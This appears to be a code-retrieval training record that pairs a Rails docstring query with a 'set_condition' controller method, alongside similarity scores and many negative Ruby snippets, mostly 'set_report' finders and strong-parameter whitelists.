"def assign_managers\n\tauto_assigned_managers_roles={Role.CFR_POC => [Role.CFR_FELLOW],\n\t\t\t\t\t\t\t\t Role.VOLUNTEER => [Role.EVENTS_FELLOW],\n\t\t\t\t\t\t\t\t Role.CFR_FELLOW => [Role.CITY_PRESIDENT,Role.NATIONAL_CFR_HEAD],\n\t\t\t\t\t\t\t\t Role.EVENTS_FELLOW => [Role.CITY_PRESIDENT,Role.NATIONAL_EVENTS_HEAD],\n\t\t\t\t\t\t\t\t Role.CITY_FINANCIAL_CONTROLLER=> [Role.NATIONAL_FINANCIAL_CONTROLLER]}\n\t@user_role_maps = UserRoleMap.new\n\t@user_role_maps.assign_attributes({:role_id => @user.role_id, :user_id => @user.id})\n\t@user_role_maps.save(:validate=>false)\n\tuser_role=Role.find(@user.role_id)\n\tif user_role.has_no_managers?\n\t user_manager_map=ReportsTo.new\n\t administrator = Role.where(role: Role.ADMINISTRATOR).first\n\t user_manager_map.assign_attributes(:user_id => @user.id,:manager_id => administrator.id)\n\t user_manager_map.save\n\t return\n\telse\n\t @reports_tos=[]\n\t manager = ReportsTo.new\n\t if @user.manager_id.present?\n\t\tmanager.assign_attributes(:user_id => @user.id, :manager_id => @user.manager_id)\n\t\t@reports_tos.push manager\n\t elsif user_role.role!=Role.CITY_FINANCIAL_CONTROLLER && user_role.role!=Role.CFR_FELLOW\n\t\tflash[:error] = MadConstants.error_message_no_manager_selected\n\t\traise ActiveRecord::Rollback, 'City Level roles not assigned to anybody'\n\t end\n\tend\n\tuser_role = Role.find @user.role_id\n\tauto_assigned_managers_roles[user_role.role].each do |role_name|\n\t @manager=nil\n\t if Role.is_national_level_role? role_name\n\t\t@manager=User.find_single_manager_by_role_name role_name\n\t else\n\t\t@manager=User.find_single_manager_by_role_name_and_city_id role_name,@user.city_id\n\t end\n\t if @manager.nil?\n\t\tflash[:error] = MadConstants.error_message_no_city_or_national_level_managers\n\t\traise ActiveRecord::Rollback, 'City Level roles not assigned to anybody'\n\t end\n\t user_manager_map = ReportsTo.new\n\t user_manager_map.user_id = @user.id\n\t user_manager_map.manager_id = @manager.id\n\t @reports_tos.push user_manager_map\n\tend\n\t@reports_tos.each do |reports_to|\n\t reports_to.save(:validate => false)\n\tend\n end",
"def set_report\n @report = Report.find(params[:id])\n end",
"def set_report\n @report = Report.find(params[:id])\n end",
"def set_report\n @report = Report.find(params[:id])\n end",
"def set_report\n @report = Report.find(params[:id])\n end",
"def set_report\n @report = Report.find(params[:id])\n end",
"def set_report\n @report = Report.find(params[:id])\n end",
"def set_report\n @report = Report.find(params[:id])\n end",
"def set_report\n @report = Report.find(params[:id])\n end",
"def set_report\n @report = Report.find(params[:id])\n end",
"def set_report\n @report = Report.find(params[:id])\n end",
"def set_report\n @report = Report.find(params[:id])\n end",
"def set_report\n @report = Report.find(params[:id])\n end",
"def set_report\n @report = Report.find(params[:id])\n end",
"def set_report\n @report = Report.find(params[:id])\n end",
"def set_report\n @report = Report.find(params[:id])\n end",
"def set_report\n @report = Report.find(params[:id])\n end",
"def set_report\n @report = Report.find(params[:id])\n end",
"def set_report\n @report = Report.find(params[:id])\n end",
"def set_report\n @report = Report.find(params[:id])\n end",
"def set_report\n @report = Report.find(params[:id])\n end",
"def set_report\n @report = Report.find(params[:id])\n end",
"def set_report\n @report = Report.find(params[:id])\n end",
"def set_report\n @report = Report.find(params[:id])\n end",
"def set_report\n @report = Report.find(params[:id])\n end",
"def set_report\n @report = Report.find(params[:id])\n end",
"def set_report\n @report = Report.find(params[:id])\n end",
"def set_report\n @report = Report.find(params[:id])\n end",
"def set_report\n @report = Report.find(params[:id])\n end",
"def set_report\n @report = Report.find(params[:id])\n end",
"def set_report\n @report = Report.find(params[:id])\n end",
"def set_report\n @report = Report.find(params[:id])\n end",
"def set_report\n @report = Report.find(params[:id])\n end",
"def set_report\n @report = Report.find(params[:id])\n end",
"def set_report\n @report = Report.find(params[:id])\n end",
"def set_report\n @report = Report.find(params[:id])\n end",
"def set_report\n @report = Report.find(params[:id])\n end",
"def set_report\n @report = Report.find(params[:id])\n end",
"def set_report\n @report = Report.find(params[:id])\n end",
"def set_report\n @report = Report.find(params[:id])\n end",
"def set_report\n @report = Report.find(params[:id])\n end",
"def set_ee_report\n @ee_report = EeReport.find(params[:id])\n end",
"def update_reports\n\n\t\tremove_reports\n\n\t\texisting_report_ids = self.reports.map{|c|\n\t\t\tc.id.to_s\n\t\t}\n\n\t\t## after this the quantity issue\n\t\t## and then the test verification toggles, textual inference, and report generation ->\n\t\t## so only if the order is finalized, then \n\t\t## now the worth processing.\n\t\t## local item group\n\t\t## organization from \n\n\t\tself.template_report_ids.each do |r_id|\n\t\t\t#puts \"doing template report id: #{r_id}\"\n\t\t\tunless existing_report_ids.include? r_id\n\t\t\t\ttx = Time.now\n\t\t\t\tself.finalize_order = NO\n\t\t\t\t## unfinalize the order\n\t\t\t\t## \n\t\t\t\t## get teh report raw hash.\n\t\t\t\t## get rid of the non-applicable ranges\n\t\t\t\t## and only then initialize the object.\n\t\t\t\t## that will make it much faster.\n\t\t\t\treport = Diagnostics::Report.find(r_id)\n\t\t\t\t\n\t\t\t\tty = Time.now\n\t\t\t\tputs \"time to get report: #{(ty - tx).in_milliseconds}\"\n\t\t\t\treport.created_by_user = User.find(report.created_by_user_id)\n\t\t\t\treport.current_user = self.current_user\n\t\t\t\ttz = Time.now\n\t\t\t\tputs \"time to get created by user: #{(tz - ty).in_milliseconds}\"\n\t\t\t\treport.run_callbacks(:find)\n\t\t\t\tt1 = Time.now\n\t\t\t\tputs \"time to run callbacks: #{(t1 - tz).in_milliseconds}\"\n\t\t\t\treport.prune_test_ranges(self.patient)\n\t\t\t\tt2 = Time.now\n\t\t\t\tputs \"prune ranges took: #{(t2-t1).in_milliseconds}\"\n\t\t\t\tself.reports << report\n\t\t\t\tself.order_completed = NO\n\t\t\tend\n\t\tend\n\tend",
"def set_investigated\n @investigated = Investigated.find(params[:id])\n end"
] |
[
"0.62604725",
"0.6214742",
"0.6214742",
"0.6214742",
"0.6019624",
"0.5996599",
"0.5996599",
"0.5996599",
"0.5996599",
"0.5996599",
"0.5986752",
"0.5965059",
"0.588282",
"0.57194006",
"0.56787777",
"0.56340384",
"0.5542408",
"0.55327743",
"0.5513858",
"0.5503708",
"0.54496783",
"0.54454106",
"0.54186666",
"0.53902733",
"0.5383017",
"0.53823286",
"0.53753966",
"0.5369396",
"0.5366346",
"0.5348798",
"0.5348798",
"0.5339943",
"0.53339165",
"0.5323967",
"0.5323967",
"0.5278043",
"0.52686846",
"0.52686846",
"0.52596974",
"0.5258523",
"0.5257649",
"0.52459395",
"0.52367795",
"0.5228331",
"0.5227647",
"0.5227647",
"0.5227647",
"0.522751",
"0.52235746",
"0.52204525",
"0.52169645",
"0.520395",
"0.5191087",
"0.51821864",
"0.5174879",
"0.51611197",
"0.51537436",
"0.5140771",
"0.5140771",
"0.5140771",
"0.5140771",
"0.5140771",
"0.5140771",
"0.5140771",
"0.5140771",
"0.5140771",
"0.5140771",
"0.5140771",
"0.5140771",
"0.5140771",
"0.5140771",
"0.5140771",
"0.5140771",
"0.5140771",
"0.5140771",
"0.5140771",
"0.5140771",
"0.5140771",
"0.5140771",
"0.5140771",
"0.5140771",
"0.5140771",
"0.5140771",
"0.5140771",
"0.5140771",
"0.5140771",
"0.5140771",
"0.5140771",
"0.5140771",
"0.5140771",
"0.5140771",
"0.5140771",
"0.5140771",
"0.5140771",
"0.5140771",
"0.5140771",
"0.5140771",
"0.5138891",
"0.51387197",
"0.5127087"
] |
0.5369833
|
27
|
Use callbacks to share common setup or constraints between actions.
|
def set_condition
@condition = Condition.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
Only allow a trusted parameter "white list" through.
|
def condition_params
params.require(:condition).permit(:name, :description, :page)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def allowed_params\n ALLOWED_PARAMS\n end",
"def expected_permitted_parameter_names; end",
"def param_whitelist\n [:role, :title]\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def permitted_params\n []\n end",
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def filtered_parameters; end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def parameters_list_params\n params.require(:parameters_list).permit(:name, :description, :is_user_specific)\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def valid_params?; end",
"def permitted_params\n declared(params, include_missing: false)\n end",
"def permitted_params\n declared(params, include_missing: false)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def filter_parameters; end",
"def filter_parameters; end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def check_params; true; end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def list_params\n params.permit(:name)\n end",
"def check_params\n true\n end",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def additional_permitted_params\n []\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def resource_params\n params[resource_singular_name].try(:permit, self.class.param_whitelist)\n end",
"def allow_params_authentication!; end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def param_params\n params.require(:param).permit(:param_category_id, :param_table_id, :name, :english_name, :weighting, :description)\n end",
"def quote_params\n params.permit!\n end",
"def list_params\n params.permit(:list_name)\n end",
"def allowed_params(parameters)\n parameters.select do |name, values|\n values.location != \"path\"\n end\n end",
"def all_params; end",
"def permitted_resource_params\n params[resource.object_name].present? ? params.require(resource.object_name).permit! : ActionController::Parameters.new\n end",
"def source_params\n params.require(:source).permit(all_allowed_params)\n end",
"def user_params\n end",
"def get_allowed_parameters\n return _get_specific_action_config(:allowed_action_parameters, :allowed_parameters)&.map(&:to_s)\n end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def permitted_params\n @wfd_edit_parameters\n end",
"def user_params\r\n end",
"def param_whitelist\n whitelist = [\n :comment,\n :old_progress, :new_progress,\n :metric_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:metric_id)\n end\n \n whitelist\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def get_params\n\t\t\n\t\treturn ActionController::Parameters.new(self.attributes).permit(:first_name, :last_name, :email, :provider)\n\n\tend",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def valid_parameters\n sort_symbols(@interface.allowed_parameters)\n end",
"def params_permit\n params.permit(:id)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def filter_params\n params.permit(*resource_filter_permitted_params)\n end",
"def specialty_params\n\t\tparams.require(:specialty).permit(*Specialty::DEFAULT_ACCESSIBLE_ATTRIBUTES)\n\tend",
"def community_params\n params.permit(:profile_image, :name, :description, :privacy_type, :viewed_by, {tags: []}, {features: []}, {admins: []}, :members, :location, :beacon, :creator, :ambassadors, :current_events, :past_events, :feed, :category, :address, :allow_member_post_to_feed, :allow_member_post_to_events)\n end",
"def authorize_params\n super.tap do |params|\n %w[display scope auth_type].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end",
"def feature_params_filter\n params.require(:feature).permit(:name, :cat, :lower, :upper, :opts, :category, :description, :company, :active, :unit, :icon)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def argument_params\n params.require(:argument).permit(:name)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def property_params\n params.permit(:name, :is_available, :is_approved, :owner_id)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def whitelist_person_params\n params.require(:person).permit(:family, :pre_title, :given_name, :dates, :post_title, :epithet, :dates_of_office, same_as: [], related_authority: [], altlabel: [], note: []) # Note - arrays need to go at the end or an error occurs!\n end",
"def sponsor_params\n params.require(:sponsor).permit(WHITE_LIST)\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def parameters\n nil\n end",
"def sequence_param_whitelist\n default_param_whitelist << \"show_index\"\n end",
"def resource_filter_permitted_params\n raise(NotImplementedError, 'resource_filter_permitted_params method not implemented')\n end",
"def normal_params\n reject{|param, val| param_definitions[param][:internal] }\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def special_device_list_params\n params.require(:special_device_list).permit(:name)\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end"
] |
[
"0.7122899",
"0.7054107",
"0.69478",
"0.6902101",
"0.67359334",
"0.67178756",
"0.66889167",
"0.6677724",
"0.6661157",
"0.6555896",
"0.6527207",
"0.64584696",
"0.64517015",
"0.6450208",
"0.644749",
"0.6435074",
"0.6413329",
"0.6413329",
"0.6391818",
"0.6380081",
"0.6380081",
"0.6375536",
"0.6360849",
"0.635511",
"0.6285548",
"0.62798816",
"0.62468714",
"0.6227613",
"0.6224945",
"0.6224163",
"0.62108225",
"0.62080175",
"0.6177938",
"0.6171946",
"0.6168783",
"0.615999",
"0.614475",
"0.6136407",
"0.61226404",
"0.61090046",
"0.60992956",
"0.6075657",
"0.60532176",
"0.6040335",
"0.6035594",
"0.60304934",
"0.60196596",
"0.6018118",
"0.6018028",
"0.6018028",
"0.6018028",
"0.6018028",
"0.6018028",
"0.6018028",
"0.6018028",
"0.6018028",
"0.6018028",
"0.6018028",
"0.6018028",
"0.6018028",
"0.6018028",
"0.6018028",
"0.6018028",
"0.6018028",
"0.6018028",
"0.60165983",
"0.6005772",
"0.6004614",
"0.60022306",
"0.59969896",
"0.59954774",
"0.59947675",
"0.59847546",
"0.5984462",
"0.597783",
"0.5975277",
"0.59699774",
"0.59675187",
"0.5966527",
"0.5966527",
"0.5957506",
"0.59521663",
"0.59506977",
"0.59479433",
"0.5944202",
"0.59313655",
"0.5930722",
"0.592726",
"0.5924843",
"0.5918731",
"0.59178615",
"0.5914195",
"0.59137934",
"0.5908005",
"0.59058493",
"0.5904342",
"0.59020513",
"0.59004885",
"0.58971745",
